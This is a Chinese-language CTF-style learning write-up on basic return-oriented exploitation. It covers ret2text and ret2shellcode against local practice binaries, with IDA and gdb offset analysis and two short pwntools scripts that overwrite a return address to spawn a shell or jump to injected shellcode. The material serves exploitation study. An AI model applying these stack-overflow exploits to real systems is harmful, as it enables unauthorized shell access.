基础ROP复现
ret2text
执行ret2text攻击的前提条件
使用IDA反编译得到
gets()存在栈溢出漏洞
- 使程序跳转到已有的函数中
- 例如程序中有类似function:
- system(‘/bin/sh’)
- execve(‘/bin/sh’,NULL,NULL)
就可以跳转到这个function,function的地址可以通过objdump或者ida来查找。
在IDA中shift+F12查找字符串
双击跳转到
发现是在secure函数中被调用
跟进secure,发现system func
目标地址:0x0804863A,目标地址就是传参地址
如果我们直接控制程序返回至 0x0804863A
,那么就可以得到系统的 shell 了。
接下来判断构造的payload的长度
.text:080486A7 lea eax, [esp+1Ch]
.text:080486AB mov [esp], eax
.text:080486AE call _gets
传递给gets的参数字符串是通过esp进行索引的,具体位置为esp+0x1c
使用gdb在调用 gets处下断点
b *0x080486AE
然后运行程序并查看运行到断点处的寄存器信息
esp 0xffffcf20 0xffffcf20
ebp 0xffffcfa8 0xffffcfa8
缓冲区s的地址为 esp+1ch ,故为 0xffffcf3c,该地址相对于ebp的偏移为 0x6c
根据栈的结构,gets的传入参数s相对目标返回地址的偏移为0x6c+4
最终控制程序返回到目标地址0x0804863A处,即将原有的ra覆盖为0x0804863A
构造的payload如下:
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a#需要执行目标地址,适用于未添加ASLR的程序
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()
执行程序结果如下:
ret2shellcode
首先使用checksec查看程序的相关信息
将程序导入IDA反编译结果如下
"No system for you this time !!!"提示不想上题一样有system函数可以利用
但是存在strncpy函数,可以将用户的输入复制到buf2处
双击buf2,可知buf2在bss段
接下来就需要看bss段是否可执行
在原有的gdb上不能够使用vmmap指令查看段权限
使用gdb enhanced features(GEF)
安装gef
gdb exhanced features(GEF)工具的使用 - 寻梦99 - 博客园 (cnblogs.com)
设置
set disassemble-next-line on
内存布局
在IDA中查看段属性
如下可知bss端具有读写权限
esp 0xffffcfc0 0xffffcfc0
ebp 0xffffd048 0xffffd048
gets的输入参数的地址esp+0x1c= 0xffffcfdc
相对于ebp的偏移为0x6c
相对于ra的偏移为0x6c+4=0x70=112
目标地址为buf2的地址为0x0804A080
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
具体的实现过程发现bss段只有rw权限,在理解原理的基础上就没有继续向下执行